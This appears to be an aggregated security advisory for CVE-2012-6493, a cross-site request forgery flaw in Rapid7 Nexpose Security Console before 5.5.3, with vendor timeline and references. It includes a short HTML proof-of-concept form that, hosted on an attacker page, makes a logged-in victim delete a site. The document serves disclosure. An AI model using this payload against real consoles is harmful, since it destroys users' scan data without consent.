Nexpose Security Console CSRF Vulnerability

🗓️ 06 Jan 2013 00:00:00Reported by hacker2013Type

zdt🔗 0day.today👁 28 Views

Nexpose Security Console CSRF vulnerability < 5.5.3 allows remote attackers to execute requests on behalf of legitimate users resulting in deletion of scan data and sites

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2012-6493	6 Jan 201300:00	–	circl
CVE	CVE-2012-6493	4 Feb 201417:00	–	cve
Cvelist	CVE-2012-6493	4 Feb 201417:00	–	cvelist
Exploit DB	Nexpose Security Console - Cross-Site Request Forgery	6 Jan 201300:00	–	exploitdb
EUVD	EUVD-2012-6346	7 Oct 202500:30	–	euvd
exploitpack	Nexpose Security Console - Cross-Site Request Forgery	6 Jan 201300:00	–	exploitpack
NVD	CVE-2012-6493	4 Feb 201422:55	–	nvd
Packet Storm	Nexpose Security Console Cross Site Request Forgery	5 Jan 201300:00	–	packetstorm
Prion	Cross site request forgery (csrf)	4 Feb 201422:55	–	prion
securityvulns	CVE-2012-6493 - Nexpose Security Console - Cross-Site Request Forgery (CSRF)	5 Jan 201300:00	–	securityvulns

Product: Nexpose Security Console
Vendor: Rapid7
Version: < 5.5.3
Tested Version: 5.5.1
Vendor Notified Date: December 19, 2012
Release Date: January 2, 2013
Risk: High
Authentication: None required
Remote: Yes
 
Description:
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose
Security Console 5.5.3 and below allow remote attackers to submit
actions on a legitimate user’s behalf.
By not properly checking each URL, an attacker can execute requests on
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted
page, it may be possible to perform user-initiated actions on the web
application using the victim’s established session.
Successful exploitation of this vulnerability resulted in deleting scan
data and sites during the proof-of-concept.
 
Exploit steps for proof-of-concept:
1.      Create an external site/page:
http://attackersite.com/nexpose-csrf.htm that contains:
[code]
<html>
   <!-- Nexpose CSRF PoC -->
   <body>
     <form
action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1"
method="POST"  enctype="multipart/form-data">
       <input type="submit" value="delete site" />
     </form>
     <script>
       //document.forms[0].submit(); //uncomment to auto-submit
     </script>
   </body>
</html>
[/code]
2.      Lure victim to http://attackersite.com/nexpose-csrf.htm.
3.      Site with ID 1 is deleted when form is submitted.
 
Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.
 
Reference:
CVE-2012-6493
https://community.rapid7.com/docs/DOC-2065#release5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

#  0day.today [2018-04-03]  #

06 Jan 2013 00:00Current

7.1High risk

Vulners AI Score7.1

EPSS0.00385